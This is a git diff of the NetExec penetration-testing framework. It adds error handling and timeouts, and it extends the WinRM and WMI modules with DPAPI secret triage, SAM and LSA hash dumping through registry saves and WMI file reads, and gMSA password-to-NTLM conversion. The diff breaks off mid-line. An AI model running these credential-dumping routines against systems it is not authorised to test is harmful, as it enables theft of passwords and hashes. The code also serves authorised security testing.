"" else None, - pkey=private_key, - key_filename=self.args.key_file, + pkey=pkey, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False, @@ -125,6 +127,8 @@ def plaintext_login(self, username, password, private_key=""): except AuthenticationException as e: if "Private key file is encrypted" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + elif is_key_type_rejected(e): + self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.fail(f"{username}:{process_secret(password)}") except SSHException as e: @@ -132,8 +136,15 @@ def plaintext_login(self, username, password, private_key=""): self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") elif "Error reading SSH protocol banner" in str(e): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + elif is_key_type_rejected(e): + self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.exception(e) + except ValueError as e: + self.logger.debug(f"Could not load private key {self.args.key_file}: {e}") + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + except TimeoutError: + self.logger.fail(f"{username}:{process_secret(password)} Connection timed out") except Exception as e: self.logger.exception(e) self.conn.close() diff --git a/nxc/protocols/ssh/keyfiles.py b/nxc/protocols/ssh/keyfiles.py new file mode 100644 index 0000000000..3c2511255f --- /dev/null +++ b/nxc/protocols/ssh/keyfiles.py @@ -0,0 +1,11 @@ +# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA. +# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing. +KEY_TYPE_REJECTED_SUBSTRINGS = ( + "no RSA pubkey algorithms are configured", + "Unable to agree on a pubkey algorithm", +) + + +def is_key_type_rejected(exc): + """Return True if exc means the server rejected the key's algorithm.""" + return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS) diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index 2fbe0675c6..e4cb67cc8e 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -1,12 +1,13 @@ import asyncio from datetime import datetime +from anyio import Path from termcolor import colored -import os import socket import struct from nxc.config import host_info_colors from nxc.connection import connection from nxc.helpers.logger import highlight +from nxc.helpers.path import sanitize_path_component from nxc.logger import NXCAdapter from nxc.paths import NXC_PATH from aardwolf.commons.target import RDPTarget @@ -96,10 +97,15 @@ def enum_host_info(self): def create_conn_obj(self): try: - self.target = RDPTarget(ip=self.host, port=self.port) + self.target = RDPTarget(ip=self.host, port=self.port, timeout=self.args.vnc_timeout) credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS) self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) + except TimeoutError: + # asyncio.TimeoutError is only an alias of the builtin from 3.11 on, + # and the project supports 3.10, so catch it by its asyncio name. + self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}") + return False except Exception as e: self.logger.debug(str(e)) if "Connect call failed" in str(e): @@ -107,7 +113,10 @@ def create_conn_obj(self): return True async def connect_vnc(self, discover=False): - _, err = await self.conn.connect() + # Bounded like connect_rdp(): the target timeout alone does not cover a + # server that completes the TCP connect and then stops responding during + # the RFB handshake, which leaves the await outstanding indefinitely. + _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.vnc_timeout) if err is not None: if not discover: await asyncio.sleep(self.args.vnc_sleep) @@ -136,6 +145,11 @@ def plaintext_login(self, username, password): ) return True + except TimeoutError: + # Reporting an unresponsive server as a rejected password would be wrong: + # nothing was authenticated, so say what actually happened. + self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s") + return False except Exception as e: self.logger.debug(str(e)) self.logger.fail(f"{password} - Authentication failed") @@ -147,8 +161,8 @@ async def screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await asyncio.to_thread(os.path.expanduser, f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - await asyncio.to_thread(buffer.save, filename, "png") + filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser() + buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") def screenshot(self): diff --git a/nxc/protocols/vnc/proto_args.py b/nxc/protocols/vnc/proto_args.py index c67fd2c96b..f8dbbf251c 100644 --- a/nxc/protocols/vnc/proto_args.py +++ b/nxc/protocols/vnc/proto_args.py @@ -4,6 +4,7 @@ def proto_args(parser, parents): vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone) vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port") + vnc_parser.add_argument("--vnc-timeout", type=int, default=5, help="VNC timeout on socket connection") vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit") egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server") diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 50bd0010fa..3439b28582 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -1,6 +1,6 @@ import os import base64 -import traceback +import binascii import requests import urllib3 import logging @@ -12,19 +12,16 @@ from pypsrp.powershell import PSDataStreams from termcolor import colored -from dploot.lib.utils import is_guid, is_credfile -from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB +from dploot.lib.network.winrm import WINRMTarget as Target from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes -from impacket.uuid import bin_to_string from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.logger import highlight -from nxc.helpers.misc import gen_random_string +from nxc.helpers.dpapi import DPAPITriage +from nxc.helpers.misc import gen_random_string, sanitize_dns from nxc.helpers.negotiate_parser import parse_challenge from nxc.logger import NXCAdapter -from nxc.paths import TMP_PATH urllib3.disable_warnings() @@ -41,6 +38,10 @@ def __init__(self, args, db, host): self.challenge_header = None self.targetDomain = None self.no_ntlm = False + self.dpapi_system_key = None + self.no_da = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -67,8 +68,11 @@ def enum_host_info(self): self.no_ntlm = True return False - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname @@ -373,7 +377,7 @@ def sam(self): SAM.dump() SAM.export(output_filename) - def lsa(self): + def lsa(self, quiet=False): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" @@ -392,159 +396,48 @@ def lsa(self): else: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") else: - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() + + def lsa_secret_callback(_, secret): + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lsa_secret_callback ) LSA.dumpCachedHashes() LSA.dumpSecrets() def dpapi(self): - """ - Find and unlock Credential Manager masterkeys and credentials owned by user. - The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials. - Actual decryption of keys and credentials is taken and adapted from impacket-dpapi. - """ - user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect") - user_credentials_paths = [ - ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"), - ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials") - ] - - self.logger.display("Collecting DPAPI masterkeys...") - - sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True) - if not sids: - self.logger.fail(f"No masterkeys found for user {self.username}") - return - - masterkeys = [] - for sid in sids.splitlines(): - keys_path = ntpath.join(user_masterkey_path, sid.strip()) - keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True) - for key in keys.splitlines(): - stripped_key = key.strip() - if is_guid(stripped_key): - key_path = ntpath.join(keys_path, stripped_key) - self.logger.debug(f"Found masterkey file {key_path}") - local_key_file = f"{TMP_PATH}/{stripped_key}" - self.conn.fetch(key_path, local_key_file) - decrypted_key = self.get_master_key(local_key_file, sid, self.password) - if decrypted_key: - masterkeys.append((stripped_key, decrypted_key)) - - if not masterkeys: - self.logger.fail("Could not decrypt any keys") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - - credential_files = [] - for user_credentials_path in user_credentials_paths: - creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True) - for cred_file in creds.splitlines(): - stripped_cred_file = cred_file.strip() - if is_credfile(stripped_cred_file): - creds_path = ntpath.join(user_credentials_path, stripped_cred_file) - self.logger.debug(f"Found credentials file {creds_path}") - local_cred_file = f"{TMP_PATH}/{stripped_cred_file}" - self.conn.fetch(creds_path, local_cred_file) - credential_files.append(local_cred_file) - - if not credential_files: - self.log.fail(f"No credential files found for user {self.username}") - return - - for creds_file in credential_files: - with open(creds_file, "rb") as fp: - data = fp.read() - cred = CredentialFile(data) - blob = DPAPI_BLOB(cred["Data"]) - - guid_masterkey = bin_to_string(blob["GuidMasterKey"]) - right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None) - - if right_key is not None: - try: - decrypted = blob.decrypt(right_key) - if decrypted is not None: - self.logger.debug(f"Successfully decrypted credentials in {creds_file}:") - creds = CREDENTIAL_BLOB(decrypted) - if creds["Unknown3"] != b"": - target = creds["Target"].decode("utf-16le") - username = creds["Username"].decode("utf-16le") - try: - password = creds["Unknown3"].decode("utf-16le") - except UnicodeDecodeError: - password = creds["Unknown3"].decode("latin-1") - self.logger.highlight(f"{target} - {username}:{password}") - except Exception as e: - self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}") - self.logger.debug(traceback.format_exc()) - else: - self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})") - - def get_master_key(self, masterkey_file, sid, password): - """ - Taken and adapted from impacket.examples.dpapi - Could be cleaned up but the more we deviate from the original the harder it will be to maintain it - """ - with open(masterkey_file, "rb") as fp: - data = fp.read() - mkf = MasterKeyFile(data) - data = data[len(mkf):] - - if mkf["MasterKeyLen"] > 0: - mk = MasterKey(data[:mkf["MasterKeyLen"]]) - data = data[len(mk):] - - if mkf["BackupKeyLen"] > 0: - bkmk = MasterKey(data[:mkf["BackupKeyLen"]]) - data = data[len(bkmk):] - - if mkf["CredHistLen"] > 0: - ch = CredHist(data[:mkf["CredHistLen"]]) - data = data[len(ch):] - - if mkf["DomainKeyLen"] > 0: - dk = DomainKey(data[:mkf["DomainKeyLen"]]) - data = data[len(dk):] - - key1, key2, key3 = deriveKeysFromUser(sid, password) - - # if mkf['flags'] & 4 ? SHA1 : MD4 - decryptedKey = mk.decrypt(key3) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (MD4 protected)") - return decryptedKey - - decryptedKey = mk.decrypt(key2) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (MD4)") - return decryptedKey - - decryptedKey = mk.decrypt(key1) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (SHA1)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key3) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (MD4 protected)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key2) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (MD4)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key1) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (SHA1)") - return decryptedKey + self.dpapi_triage.triage_dpapi() + + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.host, + port=self.port, + ssl=self.ssl, + lmhash=self.lmhash, + nthash=self.nthash, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 1beb7d6999..90f3cfef4f 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,4 +1,6 @@ -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete +import base64 + +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base @@ -14,6 +16,8 @@ def __init__(self, db_engine): self.UsersTable = None self.AdminRelationsTable = None self.LoggedinRelationsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) @@ -69,6 +73,32 @@ class LoggedInRelation(Base): ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) @@ -78,6 +108,8 @@ def reflect_tables(self): self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) def add_host(self, ip, port, hostname, domain, os=None): """ @@ -274,6 +306,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, @@ -380,3 +426,113 @@ def remove_loggedin_relations(self, user_id=None, host_id=None): elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this DPAPI secret ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results diff --git a/nxc/protocols/winrm/proto_args.py b/nxc/protocols/winrm/proto_args.py index d8a342b710..57dc05f583 100644 --- a/nxc/protocols/winrm/proto_args.py +++ b/nxc/protocols/winrm/proto_args.py @@ -17,7 +17,9 @@ def proto_args(parser, parents): cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems") + cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index c5e5af0dea..6191311e70 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,20 +1,34 @@ import os +import re +import struct +import binascii +from Cryptodome.Hash import MD4 from io import StringIO +import base64 from nxc.helpers.negotiate_parser import parse_challenge +from nxc.helpers.misc import sanitize_dns from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin +from nxc.helpers.misc import validate_ntlm from nxc.logger import NXCAdapter +from nxc.helpers.logger import highlight +from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.wmi import wmiexec, wmiexec_event +from nxc.protocols.wmi.remoteops import RemoteOperations +from nxc.helpers.dpapi import DPAPITriage + +from dploot.lib.network.wmi import WMITarget as Target from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache +from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login +from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) @@ -47,6 +61,12 @@ def __init__(self, args, db, host): } self.iWbemLevel1Login = None self.dcom_conn = None + self.namespaces = {} + self._remote_ops = None + self.no_da = None + self.dpapi_system_key = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -129,8 +149,11 @@ def enum_host_info(self): response = MSRPCHeader(buffer) bindResp = MSRPCBindAck(response.getData()) ntlm_info = parse_challenge(bindResp["auth_data"]) - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: @@ -173,8 +196,7 @@ def check_if_admin(self): else: try: self.iWbemLevel1Login = IWbemLevel1Login(iInterface) - _ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() + self.get_namespace("//./root/cimv2") except Exception as e: if "access_denied" not in str(e).lower(): self.logger.fail(str(e)) @@ -365,6 +387,284 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True + def read_file(self, remote_path) -> bytes | None: + self.logger.debug(f"Try reading file {remote_path}") + escaped_path = remote_path.replace("\\", "\\\\") + + # Load the Namespace + powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3") + if powershellv3_namespace is None: + return None + + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) + obj = iWbemClassObject.getProperties() + + file_data = None + for prop_name, prop_value in obj.items(): + if prop_name == "FileData": + file_data = prop_value["value"] + break + + if len(file_data) < 4: + return None + + # Unpack it + file_length = struct.unpack(">I", bytes(file_data[:4]))[0] + return bytes(file_data[4:4 + file_length]) + except DCERPCSessionError as e: + if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY + # With the PS_ModuelFile technique, the file will be loaded into + # WMI process memory. By default, a specific memory space is allocated + # to each WMI provider host process (WMIPrvse.exe). This value can be + # found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class + # in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail + # File is too big, let's try to copy it the dirty way + + live_path = re.sub( + r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+", + "C:", + escaped_path, + flags=re.IGNORECASE, + ) + + # Check file size + def callback_func(iEnumWbemClassObject, records): + wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] + record = dict(wmi_results.getProperties()) + callback_func.size = record["FileSize"]["value"] + + callback_func.size = 0 + + wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'" + self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) + + # Get the file chunk by chunk with command exec + self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.") + data = b"" + chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash + chunk_count = (callback_func.size + chunk_size - 1) // chunk_size + try: + for i in range(chunk_count): + offset = i * chunk_size + self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}") + powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" + output = self.execute_psh(powershell_command, get_output=True) + data += base64.b64decode(output) + return data + except Exception as e2: + self.logger.debug(f"Error while downloading {remote_path}: {e2}") + self.logger.fail(f"Could not download {remote_path}") + + elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND + self.logger.fail(f"Cannot find file '{remote_path}'") + else: + self.logger.debug(f"Error while downloading {remote_path}: {e}") + return None + + def get_file_single(self, remote_path, download_path): + if self.args.append_host: + download_path = f"{self.hostname}-{remote_path}" + + file_data = self.read_file(remote_path) + if file_data is None: + return False + else: + with open(download_path, "wb+") as file: + file.write(file_data) + return True + + @requires_admin + def get_file(self): + for src, dest in self.args.get_file: + self.logger.display(f'Copying "{src}" to "{dest}"') + if self.get_file_single(src, dest): + self.logger.success(f'File "{src}" was downloaded to "{dest}"') + else: + self.logger.fail(f'Could not get file "{src}"') + + @requires_admin + def sam(self): + def add_sam_hash(sam_hash): + self.logger.highlight(sam_hash) + if "_history" in sam_hash: + return + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + # TODO: Implement wmi creds database + add_sam_hash.sam_hashes += 1 + + add_sam_hash.sam_hashes = 0 + + output_filename = self.output_file_template.format(output_folder="sam") + + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + return + + # Get the SAM hive + sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM" + if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"): + self.logger.fail("Could not get SAM hive") + return + + SAM = SAMHashes( + f"{output_filename}.sam", + bootkey, + isRemote=None, + history=self.args.history, + perSecretCallback=lambda secret: add_sam_hash(secret), + ) + self.logger.display("Dumping SAM hashes") + SAM.dump() + SAM.export(output_filename) + self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}") + + @requires_admin + def lsa(self, quiet=False): + def add_lsa_secret(secret): + add_lsa_secret.secrets += 1 + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") + if "_SC_GMSA_{84A78B8C" in secret: + gmsa_id = secret.split("_")[4].split(":")[0] + data = bytes.fromhex(secret.split("_")[4].split(":")[1]) + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(data) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") + if not quiet: + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + + add_lsa_secret.secrets = 0 + + output_filename = self.output_file_template.format(output_folder="lsa") + + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + return + + # Get the LSA hive + lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY" + if 